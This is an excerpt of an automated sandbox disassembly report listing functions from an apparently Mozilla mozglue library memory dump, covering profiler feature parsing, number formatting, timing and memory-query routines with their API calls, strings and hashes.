Opcode ID: 95c77e02917bf35cc70ebf12c4c86bfc67eecbc51000c9ea96f76b9f2c2a8734
Instruction ID: 4579f76ac947c996fab7eebd0a2363fc0d8000df281c25c6ece2a39b9febb04a
Opcode Fuzzy Hash: 95c77e02917bf35cc70ebf12c4c86bfc67eecbc51000c9ea96f76b9f2c2a8734
Instruction Fuzzy Hash: EAE18F71914F459AC752CF35C850267B7BABFDB384F209B0EE8AE2A950DB30E4468791

Function 6CF57030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CF57046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CF57060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CF5707E

Part of subcall function 6CF081B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CF081DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CF57096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CF5709C
LocalFree.KERNEL32(?), ref: 6CF570AA

Strings

### ERROR: %s: %s, xrefs: 6CF57087
(null), xrefs: 6CF5706A, 6CF57083

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 66afb4c103f183ff115b196f58b4a9c11872d266e10d6d4929ad2bd6c7a87060
Instruction ID: c711cb6a5f8aed1e1c071ab5b3a6563f0726462b09a69d78a1aaffd67ffe93db
Opcode Fuzzy Hash: 66afb4c103f183ff115b196f58b4a9c11872d266e10d6d4929ad2bd6c7a87060
Instruction Fuzzy Hash: DF01B9B1E00114AFDB016BA4EC4EEEF7BBCEF4A615F010829FA05A3241D67169148BB1

Function 6CF42C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CF42C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CF42C61

Part of subcall function 6CEF4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CEF4E5A
Part of subcall function 6CEF4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CEF4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF42C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CF42E2D

Part of subcall function 6CF081B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CF081DE

Strings

expected a Time entry, xrefs: 6CF42E36
ProfileBuffer parse error: %s, xrefs: 6CF42E3B
(root), xrefs: 6CF4354F

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 7c833f46cbc2168f435e87ee172c68ec7af7b814d9e2f5316cfe52d3a817b08a
Instruction ID: 07e14f3d4f4826d895b027abdc99be3b83af2d0fafa08933505653e1a82cef43
Opcode Fuzzy Hash: 7c833f46cbc2168f435e87ee172c68ec7af7b814d9e2f5316cfe52d3a817b08a
Instruction Fuzzy Hash: CF91AE706087418FC724CF24C49469FFBF1AFC9258F10892DE99A8B752EB31D949CB52

Function 6CF59E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CF59F3D
__aulldiv.LIBCMT ref: 6CF59F77
__aullrem.LIBCMT ref: 6CF59F8C
__aulldiv.LIBCMT ref: 6CF5A023

Strings

NaN, xrefs: 6CF59EAB
-Infinity, xrefs: 6CF59E60, 6CF59E7B

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 3677c7e35800f4d37e2fb05d220f50d16bd0f07d20cdb016cbbfced345fcdbf8
Instruction ID: 13ce7af87b98e3a09cd56b7d1f872986343ce7be5961aa93aef2b59c6fcd8f55
Opcode Fuzzy Hash: 3677c7e35800f4d37e2fb05d220f50d16bd0f07d20cdb016cbbfced345fcdbf8
Instruction Fuzzy Hash: D1C1D071E003188BDB14CFA8C8507EEB7F6AB94704F95452DD505ABB80DB71A95ACBA0

Function 6CF6545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CF68A4B

Strings

~ql, xrefs: 6CF69459, 6CF65740, 6CF6921F, 6CF65703, 6CF69269, 6CF656C7, 6CF6948F

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memset
String ID: ~ql
API String ID: 2221118986-287904168
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 7b0631f9786dcb611278849e884c6948acd076b7890feab09d039737abc624aa
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 01B1F972E0021ACFDB14CF69CC917E9B7B2EF95314F1802A9C549EBB85D730A985CB90

Function 6CF6542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CF688F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CF6925C

Strings

~ql, xrefs: 6CF69459, 6CF65740, 6CF6921F, 6CF65703, 6CF69269, 6CF656C7, 6CF6948F

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memset
String ID: ~ql
API String ID: 2221118986-287904168
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 42bc670bbfc5bb84631cfbf3487be454e246764184ef6646b32059d628aafdbd
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 13B1C672E0110ACFCB14CF69CC916EDB7B2EF85314F144269C949EBB85D730AA99CB90

Function 6CF650C7 Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CF68E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CF6925C

Strings

~ql, xrefs: 6CF69459, 6CF65740, 6CF6921F, 6CF65703, 6CF69269, 6CF656C7, 6CF6948F

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memset
String ID: ~ql
API String ID: 2221118986-287904168
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: f4951a6ae8dd81dd105b277325a226cfd6ce6b881fe564187e9aa38403b19135
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 51A1D872E0011A8FCB14CF69CC817D9B7B2EF95314F1542BAC949EBB45D730AA99CB90

Function 6CF5B910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF09B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6CF5B92D), ref: 6CF09BC8
Part of subcall function 6CF09B80: __Init_thread_footer.LIBCMT ref: 6CF09BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CF003D4,?), ref: 6CF5B955
NtQueryVirtualMemory.NTDLL ref: 6CF5B9A5
NtQueryVirtualMemory.NTDLL ref: 6CF5BA20
RtlNtStatusToDosError.NTDLL ref: 6CF5BA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6CF5BA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6CF5BA86

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: feb8cc43ec22306524bcc63a07db7583637e89ee0ad49d21668bc22beb505c24
Instruction ID: 7576208559480b32562c29580548e9f240b6734937f27ae85c7fee7a14206295
Opcode Fuzzy Hash: feb8cc43ec22306524bcc63a07db7583637e89ee0ad49d21668bc22beb505c24
Instruction Fuzzy Hash: 9B51B175E01219DFDF18CFA8D880ADEB7B6EF88314F654529EA01B7B04DB30AD558B90

Function 6CF38AC0 Relevance: 7.7, APIs: 5, Instructions: 174timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF2FA80: GetCurrentThreadId.KERNEL32 ref: 6CF2FA8D
Part of subcall function 6CF2FA80: AcquireSRWLockExclusive.KERNEL32(6CF7F448), ref: 6CF2FA99

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CF51563), ref: 6CF38BD5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CF51563), ref: 6CF38C3A
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,?,?,?,?,?,?,?,?,?,?,6CF51563), ref: 6CF38C74
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6CF51563), ref: 6CF38CBA
free.MOZGLUE(?), ref: 6CF38CCF

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLockNow@Stamp@mozilla@@TimeV12@_free$AcquireCurrentReleaseThread
String ID:
API String ID: 2153970598-0
Opcode ID: 1a9fead85a1c52c4efe3627ba070bbc6d98d81f6d033eda0de12d0114cb03b80
Instruction ID: 5dd4fab1399bf703a9c13737c07cf1060943ffb5822fcc220f0dec6bf74027a2
Opcode Fuzzy Hash: 1a9fead85a1c52c4efe3627ba070bbc6d98d81f6d033eda0de12d0114cb03b80
Instruction Fuzzy Hash: BB717C75A14B009FD708CF29C48065AB7F1FF89314F559A5EE9899B722E770E884CB81

Function 6CEFF280 Relevance: 7.6, APIs: 5, Instructions: 87nativelibraryloaderCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CEFF2B4
GetProcAddress.KERNEL32(00000000,?), ref: 6CEFF2F0
NtQueryVirtualMemory.NTDLL ref: 6CEFF308
RtlNtStatusToDosError.NTDLL ref: 6CEFF36B
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,?,00000000,?,0000001C,?), ref: 6CEFF371

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ErrorMemoryQueryVirtual$AddressLastProcStatusWin32
String ID:
API String ID: 1171715205-0
Opcode ID: da2a47f0e5be4106097eceda0769c3f693e93022d4349813dd025533f9719a94
Instruction ID: 1fd03380f06beb479680a6d755d5adf0501ee1327463a74b44341f10ab1bfb3b
Opcode Fuzzy Hash: da2a47f0e5be4106097eceda0769c3f693e93022d4349813dd025533f9719a94
Instruction Fuzzy Hash: 2321A231A06358DBEF108A61DD44BEF76F8AB4535CF644229E43096AC0D7F89989C761

Function 6CF477A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CF47A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CF47A93

Part of subcall function 6CF15C50: GetTickCount64.KERNEL32 ref: 6CF15D40
Part of subcall function 6CF15C50: EnterCriticalSection.KERNEL32(6CF7F688), ref: 6CF15D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CF47AA1

Part of subcall function 6CF15C50: __aulldiv.LIBCMT ref: 6CF15DB4
Part of subcall function 6CF15C50: LeaveCriticalSection.KERNEL32(6CF7F688), ref: 6CF15DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CF47B31

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: c541657e17d828591bf743a6b46eaeb8d520405e8c3263ef8590314da788914b
Instruction ID: 5b69db01f3479b6e1da9dc927b5ed29a947471ba39ecd7dc1273c59c4eba3365
Opcode Fuzzy Hash: c541657e17d828591bf743a6b46eaeb8d520405e8c3263ef8590314da788914b
Instruction Fuzzy Hash: 94B162357083818BDB14CF25C45065FBBE2BFC5318F258A1DE99567792DB70E90ACB82

Function 6CF5B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CF5B720
RtlNtStatusToDosError.NTDLL ref: 6CF5B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CF2FE3F,00000000,00000000,?,?,00000000,?,6CF2FE3F), ref: 6CF5B760

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 24ce310ac07a9c5b80149c63d76797667dc0cbdd4d24ba4735c0a03248a95442
Instruction ID: ff15c774a8aac526227b28c58db3f1260a9c6c9ad4d43693e742334ab0a3be40
Opcode Fuzzy Hash: 24ce310ac07a9c5b80149c63d76797667dc0cbdd4d24ba4735c0a03248a95442
Instruction Fuzzy Hash: CAF0C2B0A0420CAEEF019BE1DC84BEF77BC9B0431DF50556AE611619C0D77495DCCA60

Function 6CF5B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CF003D4,?), ref: 6CF5B955
NtQueryVirtualMemory.NTDLL ref: 6CF5B9A5

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: c904b4b9c6abecce5c83cafaa7768d40241cc32ad81a5837bc32f77cf1df2b13
Instruction ID: 863695070aada17ec3bcb2e0d034c0091e64c7731823c5f5f82f1ea5b1e94a34
Opcode Fuzzy Hash: c904b4b9c6abecce5c83cafaa7768d40241cc32ad81a5837bc32f77cf1df2b13
Instruction Fuzzy Hash: 2A41E475F0021D9FDF08CFA9D880ADEB7B6EF88314F64812AE905A7744DB30AD458B90

Function 6CF3CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CF0582D), ref: 6CF3CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CF0582D), ref: 6CF3CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF6FE98,?,?,?,?,?,6CF0582D), ref: 6CF3CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CF0582D), ref: 6CF3CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CF0582D), ref: 6CF3CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CF0582D), ref: 6CF3CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF0582D), ref: 6CF3CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CF3CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CF3CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CF3CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CF3CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CF3CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CF3CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CF3CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CF3CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CF3CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CF3CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CF3CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CF3CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CF3CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CF3CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CF3CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CF3CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CF3CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CF3CE8A

Strings

markersallthreads, xrefs: 6CF3CE42
seqstyle, xrefs: 6CF3CCE6
mainthreadio, xrefs: 6CF3CC7C
nostacksampling, xrefs: 6CF3CD7C
unregisteredthreads, xrefs: 6CF3CE58
screenshots, xrefs: 6CF3CCD4
preferencereads, xrefs: 6CF3CD92
processcpu, xrefs: 6CF3CE6E
cpuallthreads, xrefs: 6CF3CE16
Unrecognized feature "%s"., xrefs: 6CF3CEA0
audiocallbacktracing, xrefs: 6CF3CDD4
leaf, xrefs: 6CF3CC66
fileio, xrefs: 6CF3CC92
samplingallthreads, xrefs: 6CF3CE2C
power, xrefs: 6CF3CE84
jsallocations, xrefs: 6CF3CD0E
fileioall, xrefs: 6CF3CCA8
noiostacks, xrefs: 6CF3CCBE
java, xrefs: 6CF3CC37
stackwalk, xrefs: 6CF3CCF8
notimerresolutionchange, xrefs: 6CF3CE00
default, xrefs: 6CF3CC21
nativeallocations, xrefs: 6CF3CDA8
ipcmessages, xrefs: 6CF3CDBE

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 2bf6699b03838df6e92c8242b081eed7a4fc5cfe1934e0896585d50a00f25c3b
Instruction ID: 830c4b377060d623a27ced98758038d47f9535e7d4eb7dd2cae5bd430ca0be49
Opcode Fuzzy Hash: 2bf6699b03838df6e92c8242b081eed7a4fc5cfe1934e0896585d50a00f25c3b
Instruction Fuzzy Hash: 515188C290527532FE0231266D11BAB2405EF5334AF206637FD6DE6E80FF06A60985F7

Function 6CF047C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CF04801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF04817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF0482D
__Init_thread_footer.LIBCMT ref: 6CF0484A

Part of subcall function 6CF2AB3F: EnterCriticalSection.KERNEL32(6CF7E370,?,?,6CEF3527,6CF7F6CC,?,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB49
Part of subcall function 6CF2AB3F: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF3527,6CF7F6CC,?,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2AB7C

GetCurrentThreadId.KERNEL32 ref: 6CF0485F
GetCurrentThreadId.KERNEL32 ref: 6CF0487E
